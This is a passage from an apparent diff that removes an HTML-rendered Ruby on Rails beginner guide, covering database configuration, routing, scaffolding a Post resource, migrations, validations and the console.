-<td align="left"><p class="table">Shows your current database schema, as well as the database migrations. You&#8217;ll learn about migrations shortly.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>doc/</tt></p></td>
-<td align="left"><p class="table">In-depth documentation for your application.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>lib/</tt></p></td>
-<td align="left"><p class="table">Extended modules for your application (not covered in this guide).</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>log/</tt></p></td>
-<td align="left"><p class="table">Application log files.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>public/</tt></p></td>
-<td align="left"><p class="table">The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>script/</tt></p></td>
-<td align="left"><p class="table">Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>test/</tt></p></td>
-<td align="left"><p class="table">Unit tests, fixtures, and other test apparatus. These are covered in <a href="../testing_rails_applications.html">Testing Rails Applications</a></p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>tmp/</tt></p></td>
-<td align="left"><p class="table">Temporary files</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>vendor/</tt></p></td>
-<td align="left"><p class="table">A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<h3 id="_configuring_a_database">3.3. Configuring a Database</h3>
-<div class="paragraph"><p>Just about every Rails application will interact with a database. The database to use is specified in a configuration file, <tt>config/database.yml</tt>.
-If you open this file in a new Rails application, you&#8217;ll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-The <tt>development</tt> environment is used on your development computer as you interact manually with the application
-</p>
-</li>
-<li>
-<p>
-The <tt>test</tt> environment is used to run automated tests
-</p>
-</li>
-<li>
-<p>
-The <tt>production</tt> environment is used when you deploy your application for the world to use.
-</p>
-</li>
-</ul></div>
-<h4 id="_configuring_a_sqlite_database">3.3.1. Configuring a SQLite Database</h4>
-<div class="paragraph"><p>Rails comes with built-in support for <a href="http://www.sqlite.org/">SQLite</a>, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.</p></div>
-<div class="paragraph"><p>Here&#8217;s the section of the default configuration file with connection information for the development environment:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>development<span style="color: #990000">:</span>
- adapter<span style="color: #990000">:</span> sqlite3
- database<span style="color: #990000">:</span> db<span style="color: #990000">/</span>development<span style="color: #990000">.</span>sqlite3
- timeout<span style="color: #990000">:</span> <span style="color: #993399">5000</span></tt></pre></div></div>
-<div class="paragraph"><p>If you don&#8217;t have any database set up, SQLite is the easiest to get installed. If you&#8217;re on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:</p></div>
-<div class="paragraph"><p>If you&#8217;re not running OS X 10.5 or greater, you&#8217;ll need to install the SQLite gem. Similar to installing Rails you just need to run:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ gem install sqlite3-ruby</tt></pre></div></div>
-<h4 id="_configuring_a_mysql_database">3.3.2. Configuring a MySQL Database</h4>
-<div class="paragraph"><p>If you choose to use MySQL, your <tt>config/database.yml</tt> will look a little different. Here&#8217;s the development section:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>development<span style="color: #990000">:</span>
- adapter<span style="color: #990000">:</span> mysql
- encoding<span style="color: #990000">:</span> utf8
- database<span style="color: #990000">:</span> blog_development
- username<span style="color: #990000">:</span> root
- password<span style="color: #990000">:</span>
- socket<span style="color: #990000">:</span> <span style="color: #FF6600">/tmp/</span>mysql<span style="color: #990000">.</span>sock</tt></pre></div></div>
-<div class="paragraph"><p>If your development computer&#8217;s MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the <tt>development</tt> section as appropriate.</p></div>
-<h4 id="_configuring_a_postgresql_database">3.3.3. Configuring a PostgreSQL Database</h4>
-<div class="paragraph"><p>If you choose to use PostgreSQL, your <tt>config/database.yml</tt> will be customized to use PostgreSQL databases:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>development<span style="color: #990000">:</span>
- adapter<span style="color: #990000">:</span> postgresql
- encoding<span style="color: #990000">:</span> unicode
- database<span style="color: #990000">:</span> blog_development
- username<span style="color: #990000">:</span> blog
- password<span style="color: #990000">:</span></tt></pre></div></div>
-<div class="paragraph"><p>Change the username and password in the <tt>development</tt> section as appropriate.</p></div>
-<h4 id="_creating_the_database">3.3.4. Creating the Database</h4>
-<div class="paragraph"><p>Now that you have your database configured, it&#8217;s time to have Rails create an empty database for you. You can do this by running a rake command:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake db<span style="color: #990000">:</span>create</tt></pre></div></div>
-</div>
-<h2 id="_hello_rails">4. Hello, Rails!</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate controller home index</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you&#8217;re on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails <tt>script</tt> commands to Ruby: <tt>ruby script/generate controller home index</tt>.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Rails will create several files for you, including <tt>app/views/home/index.html.erb</tt>. This is the template that will be used to display the results of the <tt>index</tt> action (method) in the <tt>home</tt> controller. Open this file in your text editor and edit it to contain a single line of code:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span></tt></pre></div></div>
-<h3 id="_starting_up_the_web_server">4.1. Starting up the Web Server</h3>
-<div class="paragraph"><p>You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/server</tt></pre></div></div>
-<div class="paragraph"><p>This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to <tt>http://localhost:3000</tt>. You should see Rails' default information page:</p></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/rails_welcome.png" alt="Welcome Aboard screenshot" title="Welcome Aboard screenshot" />
-</span></p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">To stop the web server, hit Ctrl+C in the terminal window where it&#8217;s running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to <tt>http://localhost:3000/home/index</tt>.</p></div>
-<h3 id="_setting_the_application_home_page">4.2. Setting the Application Home Page</h3>
-<div class="paragraph"><p>You&#8217;d probably like to replace the "Welcome Aboard" page with your own application&#8217;s home page. The first step to doing this is to delete the default page from your application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rm public/index<span style="color: #990000">.</span>html</tt></pre></div></div>
-<div class="paragraph"><p>Now, you have to tell Rails where your actual home page is located. Open the file <tt>config/routes.rb</tt> in your editor. This is your application&#8217;s, <em>routing file</em>, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you&#8217;ll see the <em>default routes</em>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span></tt></pre></div></div>
-<div class="paragraph"><p>The default routes handle simple requests such as <tt>/home/index</tt>: Rails translates that into a call to the <tt>index</tt> action in the <tt>home</tt> controller. As another example, <tt>/posts/edit/1</tt> would run the <tt>edit</tt> action in the <tt>posts</tt> controller with an <tt>id</tt> of 1.</p></div>
-<div class="paragraph"><p>To hook up your home page, you need to add another line to the routing file, above the default routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"home"</span></tt></pre></div></div>
-<div class="paragraph"><p>This line illustrates one tiny bit of the "convention over configuration" approach: if you don&#8217;t specify an action, Rails assumes the <tt>index</tt> action.</p></div>
-<div class="paragraph"><p>Now if you navigate to <tt>http://localhost:3000</tt> in your browser, you&#8217;ll see the <tt>home/index</tt> view.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">For more information about routing, refer to <a href="../routing_outside_in.html">Rails Routing from the Outside In</a>.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_getting_up_and_running_quickly_with_scaffolding">5. Getting Up and Running Quickly With Scaffolding</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails <em>scaffolding</em> is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.</p></div>
-</div>
-<h2 id="_creating_a_resource">6. Creating a Resource</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate scaffold Post name<span style="color: #990000">:</span>string title<span style="color: #990000">:</span>string content<span style="color: #990000">:</span>text</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you&#8217;ll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here&#8217;s a quick overview of what it creates:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="50%" />
-<col width="50%" />
-<thead valign="top">
-<tr>
-<th align="left">File </th>
-<th align="left">Purpose</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table">app/models/post.rb</p></td>
-<td align="left"><p class="table">The Post model</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">db/migrate/20081013124235_create_posts.rb</p></td>
-<td align="left"><p class="table">Migration to create the posts table in your database (your name will include a different timestamp)</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">app/views/posts/index.html.erb</p></td>
-<td align="left"><p class="table">A view to display an index of all posts</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">app/views/posts/show.html.erb</p></td>
-<td align="left"><p class="table">A view to display a single post</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">app/views/posts/new.html.erb</p></td>
-<td align="left"><p class="table">A view to create a new post</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">app/views/posts/edit.html.erb</p></td>
-<td align="left"><p class="table">A view to edit an existing post</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">app/views/layouts/posts.html.erb</p></td>
-<td align="left"><p class="table">A view to control the overall look and feel of the other posts views</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">public/stylesheets/scaffold.css</p></td>
-<td align="left"><p class="table">Cascading style sheet to make the scaffolded views look better</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">app/controllers/posts_controller.rb</p></td>
-<td align="left"><p class="table">The Posts controller</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">test/functional/posts_controller_test.rb</p></td>
-<td align="left"><p class="table">Functional testing harness for the posts controller</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">app/helpers/posts_helper.rb</p></td>
-<td align="left"><p class="table">Helper functions to be used from the posts views</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">config/routes.rb</p></td>
-<td align="left"><p class="table">Edited to include routing information for posts</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">test/fixtures/posts.yml</p></td>
-<td align="left"><p class="table">Dummy posts for use in testing</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">test/unit/post_test.rb</p></td>
-<td align="left"><p class="table">Unit testing harness for the posts model</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<h3 id="_running_a_migration">6.1. Running a Migration</h3>
-<div class="paragraph"><p>One of the products of the <tt>script/generate scaffold</tt> command is a <em>database migration</em>. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it&#8217;s possible to undo a migration after it&#8217;s been applied to your database. Migration filenames include a timestamp to ensure that they&#8217;re processed in the order that they were created.</p></div>
-<div class="paragraph"><p>If you look in the <tt>db/migrate/20081013124235_create_posts.rb</tt> file (remember, yours will have a slightly different name), here&#8217;s what you&#8217;ll find:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePosts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>posts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>title
- t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>content
-
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>posts
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you were to translate that into words, it says something like: when this migration is run, create a table named <tt>posts</tt> with two string columns (<tt>name</tt> and <tt>title</tt>) and a text column (<tt>content</tt>), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the <a href="../migrations.html">Rails Database Migrations</a> guide.</p></div>
-<div class="paragraph"><p>At this point, you can use a rake command to run the migration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake db<span style="color: #990000">:</span>create
-$ rake db<span style="color: #990000">:</span>migrate</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Because you&#8217;re working in the development environment by default, this command will apply to the database defined in the <tt>development</tt> section of your <tt>config/database.yml</tt> file.</td>
-</tr></table>
-</div>
-<h3 id="_adding_a_link">6.2. Adding a Link</h3>
-<div class="paragraph"><p>To hook the posts up to the home page you&#8217;ve already created, you can add a link to the home page. Open <tt>/app/views/home/index.html.erb</tt> and modify it as follows:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Hello<span style="color: #990000">,</span> Rails!<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to "My Blog", posts_path %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>link_to</tt> method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.</p></div>
-<h3 id="_working_with_posts_in_the_browser">6.3. Working with Posts in the Browser</h3>
-<div class="paragraph"><p>Now you&#8217;re ready to start working with posts. To do that, navigate to <tt>http://localhost:3000</tt> and then click the "My Blog" link:</p></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/posts_index.png" alt="Posts Index screenshot" title="Posts Index screenshot" />
-</span></p></div>
-<div class="paragraph"><p>This is the result of Rails rendering the <tt>index</tt> view of your posts. There aren&#8217;t currently any posts in the database, but if you click the <tt>New Post</tt> link you can create one. After that, you&#8217;ll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single <tt>script/generate scaffold</tt> command.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">In development mode (which is what you&#8217;re working in by default), Rails reloads your application with every browser request, so there&#8217;s no need to stop and restart the web server.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Congratulations, you&#8217;re riding the rails! Now it&#8217;s time to see how it all works.</p></div>
-<h3 id="_the_model">6.4. The Model</h3>
-<div class="paragraph"><p>The model file, <tt>app/models/post.rb</tt> is about as simple as it can get:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>There isn&#8217;t much to this file - but note that the <tt>Post</tt> class inherits from <tt>ActiveRecord::Base</tt>. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.</p></div>
-<h3 id="_adding_some_validation">6.5. Adding Some Validation</h3>
-<div class="paragraph"><p>Rails includes methods to help you validate the data that you send to models. Open the <tt>app/models/post.rb</tt> file and edit it:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>title
- validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.</p></div>
-<h3 id="_using_the_console">6.6. Using the Console</h3>
-<div class="paragraph"><p>To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/console</tt></pre></div></div>
-<div class="paragraph"><p>After the console loads, you can use it to work with your application&#8217;s models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">&gt;&gt;</span> p <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>content <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A new post"</span><span style="color: #990000">)</span>
-<span style="color: #990000">=&gt;</span> <span style="font-style: italic"><span style="color: #9A1900">#&lt;Post id: nil, name: nil, title: nil, content: "A new post",</span></span>
-created_at<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> updated_at<span style="color: #990000">:</span> nil<span style="color: #990000">&gt;</span>
-<span style="color: #990000">&gt;&gt;</span> p<span style="color: #990000">.</span>save
-<span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="color: #990000">&gt;&gt;</span> p<span style="color: #990000">.</span>errors
-<span style="color: #990000">=&gt;</span> <span style="font-style: italic"><span style="color: #9A1900">#&lt;ActiveRecord::Errors:0x23bcf0c @base=#&lt;Post id: nil, name: nil,</span></span>
-title<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> content<span style="color: #990000">:</span> <span style="color: #FF0000">"A new post"</span><span style="color: #990000">,</span> created_at<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> updated_at<span style="color: #990000">:</span> nil<span style="color: #990000">&gt;,</span>
-@<span style="color: #009900">errors</span><span style="color: #990000">=</span>{<span style="color: #FF0000">"name"</span><span style="color: #990000">=&gt;[</span><span style="color: #FF0000">"can't be blank"</span><span style="color: #990000">],</span> <span style="color: #FF0000">"title"</span><span style="color: #990000">=&gt;[</span><span style="color: #FF0000">"can't be blank"</span><span style="color: #990000">,</span>
-<span style="color: #FF0000">"is too short (minimum is 5 characters)"</span><span style="color: #990000">]</span>}<span style="color: #990000">&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>This code shows creating a new <tt>Post</tt> instance, attempting to save it and getting <tt>false</tt> for a return value (indicating that the save failed), and inspecting the <tt>errors</tt> of the post.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type <tt>reload!</tt> at the console prompt to load them.</td>
-</tr></table>
-</div>
-<h3 id="_listing_all_posts">6.7. Listing All Posts</h3>
-<div class="paragraph"><p>The easiest place to start looking at functionality is with the code that lists all posts. Open the file <tt>app/controllers/posts_controller.rb + and look at the +index</tt> action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- <span style="color: #009900">@posts</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-
- respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
- format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># index.html.erb</span></span>
- format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@posts</span> <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This code sets the <tt>@posts</tt> instance variable to an array of all posts in the database. <tt>Post.find(:all)</tt> or <tt>Post.all</tt> calls the <tt>Post</tt> model to return all of the posts that are currently in the database, with no limiting conditions.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more information on finding records with Active Record, see <a href="../finders.html">Active Record Finders</a>.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>The <tt>respond_to</tt> block handles both HTML and XML calls to this action. If you browse to <tt>http://localhost:3000/posts.xml</tt>, you&#8217;ll see all of the posts in XML format. The HTML format looks for a view in <tt>app/views/posts/</tt> with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here&#8217;s <tt>app/view/posts/index.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Listing posts<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;table&gt;</span>
- <span style="color: #FF0000">&lt;tr&gt;</span>
- <span style="color: #FF0000">&lt;th&gt;</span>Name<span style="color: #FF0000">&lt;/th&gt;</span>
- <span style="color: #FF0000">&lt;th&gt;</span>Title<span style="color: #FF0000">&lt;/th&gt;</span>
- <span style="color: #FF0000">&lt;th&gt;</span>Content<span style="color: #FF0000">&lt;/th&gt;</span>
- <span style="color: #FF0000">&lt;/tr&gt;</span>
-
-<span style="color: #FF0000">&lt;% for post in @posts %&gt;</span>
- <span style="color: #FF0000">&lt;tr&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%=h post.name %&gt;&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%=h post.title %&gt;&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%=h post.content %&gt;&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Show', post %&gt;&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Edit', edit_post_path(post) %&gt;&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Destroy', post, :confirm =&gt;</span> <span style="color: #FF0000">'Are you sure?'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>delete <span style="color: #990000">%&gt;</span><span style="color: #FF0000">&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;/tr&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-<span style="color: #FF0000">&lt;/table&gt;</span>
-
-<span style="color: #FF0000">&lt;br /&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'New post', new_post_path %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>This view iterates over the contents of the <tt>@posts</tt> array to display content and links. A few things to note in the view:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>h</tt> is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks
-</p>
-</li>
-<li>
-<p>
-<tt>link_to</tt> builds a hyperlink to a particular destination
-</p>
-</li>
-<li>
-<p>
-<tt>edit_post_path</tt> is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes.
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more details on the rendering process, see <a href="../layouts_and_rendering.html">Layouts and Rendering in Rails</a>.</td>
-</tr></table>
-</div>
-<h3 id="_customizing_the_layout">6.8. Customizing the Layout</h3>
-<div class="paragraph"><p>The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of <tt>layouts</tt>, which are containers for views. When Rails renders a view to the browser, it does so by putting the view&#8217;s HTML into a layout&#8217;s HTML. The <tt>script/generate scaffold</tt> command automatically created a default layout, <tt>app/views/layouts/posts.html.erb</tt>, for the posts. Open this layout in your editor and modify the <tt>body</tt> tag:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
